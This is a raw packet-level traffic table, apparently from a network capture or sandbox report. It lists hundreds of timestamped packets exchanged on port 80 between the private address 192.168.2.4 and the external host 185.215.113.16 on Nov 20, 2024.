Nov 20, 2024 21:04:30.114918947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.115120888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.115175009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.115870953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.116134882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.116779089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.116802931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.116863966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.116921902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.117779970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.117968082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.118103027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.118753910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.118872881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.118926048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.119678974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.119786978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.119960070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.120537043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.120584011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.120634079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.121476889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.121613979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.121659040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.123354912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.123370886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.123416901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.123723030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.123739958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.123804092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.124289036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.124399900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.124444008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.125305891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.125925064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.125971079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.126174927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.126296043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.126334906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.127049923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.127229929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.127274990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.127789974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.127974033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.128124952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.128905058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.128948927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.128999949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.129040956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.129868984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.129997015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.130043983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.130815029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.130897045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.131738901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.131788015 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.131859064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.131902933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.132642984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.132723093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.132769108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.133567095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.133709908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.133757114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.134511948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.134630919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.134681940 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.135443926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.135586023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.135634899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.136392117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.136481047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.136526108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.137334108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.137394905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.137439966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.138279915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.138453960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.138499975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.139185905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.139359951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.139408112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.140105963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.190979004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.292618990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.292715073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.292867899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.293005943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.293150902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.293200016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.293941021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.294281960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.294348001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.294475079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.295217991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.295234919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.295291901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.296138048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.296199083 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.296264887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.297039986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.297112942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.297178030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.298015118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.298070908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.298125982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.298921108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.298973083 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.299073935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.300035954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.300071955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.300123930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.300784111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.300911903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.300965071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.301717997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.301768064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.301918983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.302676916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.302711964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.302773952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.303594112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.303656101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.303977966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.304578066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.304650068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.304651022 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.305445910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.305502892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.305531979 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.306365967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.306428909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.306485891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.307460070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.307518959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.307653904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.308387041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.308445930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.308528900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.309241056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.309298992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.309329033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.310157061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.310250044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.310269117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.311075926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.311131954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.311584949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.312010050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.312073946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.312098026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.312917948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.312974930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.313050985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.313868999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.313925982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.313946962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.314786911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.314851046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.315032959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.315778971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.315815926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.315835953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.316653967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.316725016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.316791058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.317598104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.317661047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.317740917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.318615913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.318653107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.318710089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.319490910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.319552898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.319562912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.320411921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.320465088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.320471048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.321325064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.321374893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.321439028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.322350025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.322415113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.322469950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.323195934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.323251009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.323302984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.324116945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.324168921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.324219942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.325087070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.325139046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.325193882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.326001883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.326054096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.326055050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.326898098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.327024937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.327075958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.327864885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.328062057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.328114033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.328821898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.328872919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.328934908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.329700947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.329758883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.329782009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.330671072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.330728054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.330734968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.331582069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.331634998 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.331713915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.332516909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.332572937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.332640886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.333463907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.333543062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.333563089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.334435940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.334505081 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.334561110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.335331917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.335388899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.335401058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.336261988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.336391926 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.336458921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.337251902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.337308884 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.337316990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.338128090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.338181019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.338294029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.339066029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.339128017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.339256048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.340006113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.340090990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.340128899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.340964079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.341001034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.341046095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.451066971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.494123936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.494167089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.494224072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.494383097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.494508982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.494607925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.495367050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.495702028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.495769978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.495806932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.496599913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.496651888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.496731043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.497548103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.497595072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.497740030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.498547077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.498585939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.498588085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.499427080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.499454021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.499475002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.500442982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.500487089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.500529051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.501348019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.501420975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.501461983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.502269983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.502396107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.502435923 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.503144979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.503190994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.503338099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.504098892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.504226923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.504268885 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.505095959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.505141973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.505199909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.505979061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.506026983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.506153107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.507177114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.507234097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.507297993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.507893085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.507910013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.507939100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.508774996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.508893013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.508913994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.509685040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.509761095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.509814978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.510658979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.510737896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.510783911 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.511549950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.511603117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.511604071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.512506962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.512573957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.512578964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.513499022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.513552904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.513688087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.514467955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.514527082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.514580011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.515357971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.515440941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.515482903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.516200066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.516259909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.516304016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.517174959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.517272949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.517317057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.518064976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.518114090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.518156052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.519057035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.519136906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.519184113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.519959927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.520061016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.520104885 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.520915985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.520965099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.520987034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.521814108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.521950006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.521996021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.522737980 CET	80	49744	185.215.113.16	192.168.2.4
